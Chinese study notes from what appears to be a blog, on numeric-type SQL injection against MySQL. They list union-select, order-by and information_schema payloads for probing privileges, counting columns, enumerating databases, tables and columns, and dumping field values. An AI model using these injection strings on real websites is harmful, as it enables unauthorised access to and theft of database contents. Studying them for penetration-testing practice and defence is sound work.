滲透學習筆記之基於數字型的SQL注入

2021-09-02 22:38:11 字數 1715 閱讀 5165

(1) 在提交的url後加上單引號』,

(2) and和or**:and表示且,必須二者皆成立。or相反。

(3) 加法和減法:這目的是區分數字型和字元型的注入。

(1) 目的是判斷是否有root許可權:and ord(mid(user(),1,1)) = 114 #114表示的是ascll的r,意即root許可權。

(2) and (select count(*) from mysql.user)>0 判斷是否有讀寫許可權,當返回正確頁面時表示有讀寫許可權,反之沒有。

(1) 常用兩種猜解方法:

聯合查詢 and 1=1 union select 1,2,3,4,5 或者union select null,null,null

order by查詢:order by1,2,3,4當正確時即有多少欄位order by查詢:order by1,2,3,4當正確時即有多少字段。

(2) 在該查詢中,一般情況下程式會呼叫資料庫查詢的第一條語句進行查詢然後返回。而通過聯合查詢時,要想檢視第二條資料,則可以讓第一條查詢語句始終為假,這裡可以用到and 1=2。反之,則為and 1=1。

(3) limit語句。該語句在mysql中是用來分頁的,通過該語句可以讓我們得到我們想要的資料。

(1) 首先檢視資料庫的版本:and ord(mid(version(),1,1))>51 #51指的是ascll的3

(2) 確定版本號之後聯合查詢:union select 1,database(),3 limit 1,1 或者union select null,scherma_name,null from information_schema.schemata 想獲取第乙個庫名則在後面加上limit 0,1 若發現沒有顯示,則在第一條語句上加上:and 1=2,讓第一條語句始終為假,即可檢視第乙個庫名,依次類推可得到第二個庫名,第三個庫名,等等。。。

(1)一般而言,表名存放在資料庫information_schema下的tables表中的table_name欄位中,查表名主要用到的就是tables表。

(2)使用group_concat():例如在url後加上union select null,group_concat(table_name),null from information_schema.tables where table_schema = 『庫名一』 。或者在url後面加上union select null,table_name,null from information_schema.tables where table_schema = 『庫名一』(這種方法比較好記憶)。

(1)在mysql中,欄位名一般存放在information_schema資料庫下的column_name欄位中。

(2)查詢方法:union select null,group_concat(column_name),null from information_schema.columns where table_schema = 『庫名一』 and table_name=『表名』。或者union select null,column_name,null from information_schema.columns where table_schema = 『庫名一』 and table_name=『表名』

得到庫名,表名,欄位名後想要獲取資料的值就方便了。

(1)在url後加上union select null,group_concat(欄位名),null from 表名。或者union select 欄位名 from 表名

學習筆記3 Python 數字型變數

在 python 中,每個變數在使用前都必須賦值,變數賦值以後該變數才會被建立 等號 用來給變數賦值 等號左邊是乙個變數名,等號右邊是儲存在變數中的值 例子如下 姓名 小明 年齡 18歲 性別 是男生 身高 1.75公尺 體重 75.0公斤 name 小明 age 18gender true boo...

學習筆記10 Python 非數字型變數的公共方法

函式 描述 備註 len item 計算容器中元素個數 del item 刪除變數 del有兩種方式 max item 返回容器中元素最大值 如果是字典,只針對key比較 min item 返回容器中元素最小值 如果是字典,只針對key比較 運算子表示式 結果 描述 支援的資料型別 1,2 3,4 ...

Linux學習筆記之 基於UDP的通訊程式設計

13 基於udp的通訊程式設計 13.1 udp資料的收發 1.資料傳送函式sendto include include int sendto int s,const void msg,int len,int flags,const struct sockaddr to,int tolen 前四個引...